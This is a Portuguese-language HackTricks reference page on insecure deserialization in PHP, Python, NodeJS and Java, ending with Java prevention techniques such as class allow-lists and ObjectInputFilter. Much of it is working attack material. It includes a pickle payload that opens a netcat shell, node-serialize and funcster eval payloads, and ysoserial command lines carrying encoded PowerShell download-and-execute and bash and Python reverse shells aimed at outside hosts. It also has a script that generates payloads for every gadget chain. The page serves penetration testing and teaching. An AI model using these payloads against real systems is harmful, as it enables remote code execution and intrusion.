Deserialization

Support HackTricks

Basic Information

Serialização é entendida como o método de converter um objeto em um formato que pode ser preservado, com a intenção de armazenar o objeto ou transmiti-lo como parte de um processo de comunicação. Essa técnica é comumente empregada para garantir que o objeto possa ser recriado em um momento posterior, mantendo sua estrutura e estado.

Desserialização, por outro lado, é o processo que contrabalança a serialização. Envolve pegar dados que foram estruturados em um formato específico e reconstruí-los de volta em um objeto.

A desserialização pode ser perigosa porque potencialmente permite que atacantes manipulem os dados serializados para executar código prejudicial ou causar comportamentos inesperados na aplicação durante o processo de reconstrução do objeto.

PHP

Em PHP, métodos mágicos específicos são utilizados durante os processos de serialização e desserialização:

  • __sleep: Invocado quando um objeto está sendo serializado. Este método deve retornar um array com os nomes de todas as propriedades do objeto que devem ser serializadas. É comumente usado para comprometer dados pendentes ou realizar tarefas de limpeza semelhantes.

  • __wakeup: Chamado quando um objeto está sendo desserializado. É usado para restabelecer quaisquer conexões de banco de dados que possam ter sido perdidas durante a serialização e realizar outras tarefas de reinicialização.

  • __unserialize: Este método é chamado em vez de __wakeup (se existir) quando um objeto está sendo desserializado. Ele oferece mais controle sobre o processo de desserialização em comparação com __wakeup.

  • __destruct: Este método é chamado quando um objeto está prestes a ser destruído ou quando o script termina. É tipicamente usado para tarefas de limpeza, como fechar manipuladores de arquivos ou conexões de banco de dados.

  • __toString: Este método permite que um objeto seja tratado como uma string. Pode ser usado para ler um arquivo ou outras tarefas com base nas chamadas de função dentro dele, fornecendo efetivamente uma representação textual do objeto.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Se você olhar para os resultados, pode ver que as funções __wakeup e __destruct são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função __toString é chamada ao tentar imprimir algum atributo, mas aparentemente isso não está acontecendo mais.

O método __unserialize(array $data) é chamado em vez de __wakeup() se estiver implementado na classe. Ele permite desserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para desserializar propriedades e realizar quaisquer tarefas necessárias após a desserialização.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Você pode ler um exemplo de PHP explicado aqui: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, aqui https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou aqui https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:

PHP - Deserialization + Autoload Classes

Serializando Valores Referenciados

Se por algum motivo você quiser serializar um valor como uma referência a outro valor serializado, você pode:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial para PHP)

PHPGGC pode ajudá-lo a gerar payloads para abusar de deserializações em PHP. Note que em vários casos você não conseguirá encontrar uma maneira de abusar de uma deserialização no código-fonte da aplicação, mas pode ser capaz de abusar do código de extensões PHP externas. Portanto, se puder, verifique o phpinfo() do servidor e pesquise na internet (e até mesmo nos gadgets do PHPGGC) alguns possíveis gadgets que você poderia abusar.

deserialização de metadados phar://

Se você encontrou um LFI que está apenas lendo o arquivo e não executando o código php dentro dele, por exemplo, usando funções como file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize(). Você pode tentar abusar de uma deserialização que ocorre ao ler um arquivo usando o protocolo phar. Para mais informações, leia o seguinte post:

phar:// deserialization

Python

Pickle

Quando o objeto é deserializado, a função __reduce__ será executada. Quando explorado, o servidor pode retornar um erro.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Antes de verificar a técnica de bypass, tente usar print(base64.b64encode(pickle.dumps(P(),2))) para gerar um objeto que seja compatível com python2 se você estiver executando python3.

Para mais informações sobre escapar de pickle jails, consulte:

Bypass Python sandboxes

Yaml & jsonpickle

A página a seguir apresenta a técnica para abusar de uma desserialização insegura em bibliotecas python de yamls e termina com uma ferramenta que pode ser usada para gerar payloads de desserialização RCE para Pickle, PyYAML, jsonpickle e ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Poluição de Protótipos em Python)

Class Pollution (Python's Prototype Pollution)

NodeJS

Funções Mágicas JS

JS não tem funções "mágicas" como PHP ou Python que serão executadas apenas para criar um objeto. Mas possui algumas funções que são frequentemente usadas mesmo sem serem chamadas diretamente, como toString, valueOf, toJSON. Se abusar de uma desserialização, você pode comprometer essas funções para executar outro código (potencialmente abusando de poluições de protótipos) e poderia executar código arbitrário quando elas forem chamadas.

Outra maneira "mágica" de chamar uma função sem chamá-la diretamente é comprometendo um objeto que é retornado por uma função assíncrona (promise). Porque, se você transformar esse objeto de retorno em outra promise com uma propriedade chamada "then" do tipo função, ela será executada apenas porque é retornada por outra promise. Siga este link para mais informações.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ e poluição de prototype

Se você quiser aprender sobre essa técnica dê uma olhada no seguinte tutorial:

NodeJS - __proto__ & prototype Pollution

Esta biblioteca permite serializar funções. Exemplo:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

O objeto serializado parecerá com:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Você pode ver no exemplo que, quando uma função é serializada, a flag _$$ND_FUNC$$_ é anexada ao objeto serializado.

Dentro do arquivo node-serialize/lib/serialize.js, você pode encontrar a mesma flag e como o código a utiliza.

Como você pode ver no último trecho de código, se a flag for encontrada, eval é usado para desserializar a função, então basicamente a entrada do usuário está sendo usada dentro da função eval.

No entanto, apenas serializar uma função não a executará, pois seria necessário que alguma parte do código chamasse y.rce em nosso exemplo, e isso é altamente improvável. De qualquer forma, você poderia apenas modificar o objeto serializado adicionando alguns parênteses para que a função serializada seja executada automaticamente quando o objeto for desserializado. No próximo trecho de código, note o último parêntese e como a função unserialize executará automaticamente o código:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Como foi indicado anteriormente, esta biblioteca obterá o código após _$$ND_FUNC$$_ e o executará usando eval. Portanto, para auto-executar código, você pode deletar a parte de criação da função e o último parêntese e apenas executar um JS oneliner como no seguinte exemplo:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Você pode encontrar aqui mais informações sobre como explorar essa vulnerabilidade.

Um aspecto notável do funcster é a inacessibilidade dos objetos embutidos padrão; eles estão fora do escopo acessível. Essa restrição impede a execução de código que tenta invocar métodos em objetos embutidos, levando a exceções como "ReferenceError: console is not defined" quando comandos como console.log() ou require(something) são usados.

Apesar dessa limitação, a restauração do acesso total ao contexto global, incluindo todos os objetos embutidos padrão, é possível através de uma abordagem específica. Ao aproveitar o contexto global diretamente, pode-se contornar essa restrição. Por exemplo, o acesso pode ser restabelecido usando o seguinte trecho:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Para mais informações, leia esta fonte.

O pacote serialize-javascript é projetado exclusivamente para fins de serialização, não possuindo nenhuma capacidade de desserialização embutida. Os usuários são responsáveis por implementar seu próprio método para desserialização. Um uso direto de eval é sugerido pelo exemplo oficial para desserializar dados serializados:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Se esta função for usada para desserializar objetos, você pode explorá-la facilmente:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Para mais informações, leia esta fonte.

Biblioteca Cryo

Nas páginas seguintes, você pode encontrar informações sobre como abusar desta biblioteca para executar comandos arbitrários:

Java - HTTP

Em Java, os callbacks de deserialização são executados durante o processo de deserialização. Essa execução pode ser explorada por atacantes que criam payloads maliciosos que acionam esses callbacks, levando à potencial execução de ações prejudiciais.

Impressões digitais

Caixa Branca

Para identificar potenciais vulnerabilidades de serialização na base de código, procure por:

  • Classes que implementam a interface Serializable.

  • Uso das funções java.io.ObjectInputStream, readObject, readUnshare.

Preste atenção especial a:

  • XMLDecoder utilizado com parâmetros definidos por usuários externos.

  • O método fromXML do XStream, especialmente se a versão do XStream for menor ou igual a 1.46, pois é suscetível a problemas de serialização.

  • ObjectInputStream acoplado ao método readObject.

  • Implementação de métodos como readObject, readObjectNodData, readResolve ou readExternal.

  • ObjectInputStream.readUnshared.

  • Uso geral de Serializable.

Caixa Preta

Para testes de caixa preta, procure por assinaturas específicas ou "Bytes Mágicos" que denotam objetos serializados em java (originários de ObjectInputStream):

  • Padrão hexadecimal: AC ED 00 05.

  • Padrão Base64: rO0.

  • Cabeçalhos de resposta HTTP com Content-type definido como application/x-java-serialized-object.

  • Padrão hexadecimal indicando compressão anterior: 1F 8B 08 00.

  • Padrão Base64 indicando compressão anterior: H4sIA.

  • Arquivos da web com a extensão .faces e o parâmetro faces.ViewState. Descobrir esses padrões em uma aplicação web deve levar a uma investigação conforme detalhado no post sobre Deserialização de ViewState do Java JSF.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Verifique se é vulnerável

Se você quer aprender como funciona um exploit de Deserialização em Java, você deve dar uma olhada em Deserialização Básica em Java, Deserialização DNS em Java, e Payload CommonsCollection1.

Teste de Caixa Branca

Você pode verificar se há alguma aplicação instalada com vulnerabilidades conhecidas.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Você pode tentar verificar todas as bibliotecas conhecidas por serem vulneráveis e que Ysoserial pode fornecer um exploit. Ou você pode verificar as bibliotecas indicadas no Java-Deserialization-Cheat-Sheet. Você também pode usar gadgetinspector para procurar possíveis cadeias de gadgets que podem ser exploradas. Ao executar gadgetinspector (depois de construí-lo), não se preocupe com os muitos avisos/erros que ele está passando e deixe-o terminar. Ele escreverá todas as descobertas em gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Por favor, note que gadgetinspector não criará um exploit e pode indicar falsos positivos.

Teste de Caixa Preta

Usando a extensão Burp gadgetprobe, você pode identificar quais bibliotecas estão disponíveis (e até mesmo as versões). Com essa informação, pode ser mais fácil escolher um payload para explorar a vulnerabilidade. Leia isso para saber mais sobre GadgetProbe. GadgetProbe é focado em deserializações de ObjectInputStream.

Usando a extensão Burp Java Deserialization Scanner, você pode identificar bibliotecas vulneráveis exploráveis com ysoserial e explorá-las. Leia isso para saber mais sobre Java Deserialization Scanner. Java Deserialization Scanner é focado em deserializações de ObjectInputStream.

Você também pode usar Freddy para detectar vulnerabilidades de deserializações no Burp. Este plugin detectará não apenas vulnerabilidades relacionadas a ObjectInputStream, mas também vulnerabilidades de bibliotecas de deserialização de Json e Yml. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS. Você pode encontrar mais informações sobre Freddy aqui.

Teste de Serialização

Nem tudo se resume a verificar se alguma biblioteca vulnerável está sendo usada pelo servidor. Às vezes, você pode ser capaz de alterar os dados dentro do objeto serializado e contornar algumas verificações (talvez concedendo a você privilégios de administrador dentro de uma webapp). Se você encontrar um objeto Java serializado sendo enviado para uma aplicação web, você pode usar SerializationDumper para imprimir em um formato mais legível por humanos o objeto de serialização que está sendo enviado. Saber quais dados você está enviando tornaria mais fácil modificá-los e contornar algumas verificações.

Exploit

ysoserial

A principal ferramenta para explorar deserializações Java é ysoserial (baixe aqui). Você também pode considerar usar ysoseral-modified, que permitirá que você use comandos complexos (com pipes, por exemplo). Note que esta ferramenta é focada em explorar ObjectInputStream. Eu começaria usando o payload "URLDNS" antes de um payload RCE para testar se a injeção é possível. De qualquer forma, note que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE esteja.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Quando criar um payload para java.lang.Runtime.exec(), você não pode usar caracteres especiais como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo passar argumentos para um comando separados por espaços (você pode fazer echo -n "hello world" mas não pode fazer python2 -c 'print "Hello world"'). Para codificar corretamente o payload, você pode usar esta página da web.

Sinta-se à vontade para usar o próximo script para criar todos os possíveis payloads de execução de código para Windows e Linux e, em seguida, testá-los na página da web vulnerável:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Você pode usar https://github.com/pwntester/SerialKillerBypassGadgetCollection junto com ysoserial para criar mais exploits. Mais informações sobre esta ferramenta estão nas apresentações da palestra onde a ferramenta foi apresentada: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec pode ser usado para gerar payloads para explorar diferentes Json e Yml bibliotecas de serialização em Java. Para compilar o projeto, eu precisei adicionar estas dependências ao pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Instale o maven, e compile o projeto:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Leia mais sobre esta biblioteca Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Java usa muita serialização para vários propósitos, como:

  • Requisições HTTP: A serialização é amplamente empregada na gestão de parâmetros, ViewState, cookies, etc.

  • RMI (Remote Method Invocation): O protocolo RMI do Java, que depende inteiramente da serialização, é uma pedra angular para comunicação remota em aplicações Java.

  • RMI sobre HTTP: Este método é comumente usado por aplicações web de cliente grosso baseadas em Java, utilizando serialização para todas as comunicações de objetos.

  • JMX (Java Management Extensions): O JMX utiliza serialização para transmitir objetos pela rede.

  • Protocolos Personalizados: Em Java, a prática padrão envolve a transmissão de objetos Java brutos, que serão demonstrados em exemplos de exploração futuros.

Prevention

Objetos Transientes

Uma classe que implementa Serializable pode implementar como transient qualquer objeto dentro da classe que não deveria ser serializável. Por exemplo:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Evite a serialização de uma classe que precisa implementar Serializable

Em cenários onde certos objetos devem implementar a interface Serializable devido à hierarquia de classes, há um risco de deserialização não intencional. Para evitar isso, garanta que esses objetos sejam não deserializáveis definindo um método readObject() final que sempre lança uma exceção, como mostrado abaixo:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Aprimorando a Segurança de Desserialização em Java

Personalizando java.io.ObjectInputStream é uma abordagem prática para garantir processos de desserialização. Este método é adequado quando:

  • O código de desserialização está sob seu controle.

  • As classes esperadas para desserialização são conhecidas.

Substitua o resolveClass() método para limitar a desserialização apenas às classes permitidas. Isso impede a desserialização de qualquer classe, exceto aquelas explicitamente permitidas, como no seguinte exemplo que restringe a desserialização apenas à classe Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Usando um Agente Java para Aumento de Segurança oferece uma solução alternativa quando a modificação de código não é possível. Este método se aplica principalmente para colocar em lista negra classes prejudiciais, usando um parâmetro JVM:

-javaagent:name-of-agent.jar

Fornece uma maneira de proteger a desserialização dinamicamente, ideal para ambientes onde mudanças imediatas de código são impraticáveis.

Verifique um exemplo em rO0 by Contrast Security

Implementando Filtros de Serialização: O Java 9 introduziu filtros de serialização através da interface ObjectInputFilter, fornecendo um mecanismo poderoso para especificar critérios que os objetos serializados devem atender antes de serem desserializados. Esses filtros podem ser aplicados globalmente ou por fluxo, oferecendo um controle granular sobre o processo de desserialização.

Para utilizar filtros de serialização, você pode definir um filtro global que se aplica a todas as operações de desserialização ou configurá-lo dinamicamente para fluxos específicos. Por exemplo:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Aproveitando Bibliotecas Externas para Segurança Aprimorada: Bibliotecas como NotSoSerial, jdeserialize e Kryo oferecem recursos avançados para controlar e monitorar a desserialização em Java. Essas bibliotecas podem fornecer camadas adicionais de segurança, como a lista branca ou lista negra de classes, análise de objetos serializados antes da desserialização e implementação de estratégias de serialização personalizadas.

  • NotSoSerial intercepta processos de desserialização para evitar a execução de código não confiável.

  • jdeserialize permite a análise de objetos Java serializados sem desserializá-los, ajudando a identificar conteúdo potencialmente malicioso.

  • Kryo é uma estrutura de serialização alternativa que enfatiza velocidade e eficiência, oferecendo estratégias de serialização configuráveis que podem aumentar a segurança.

Referências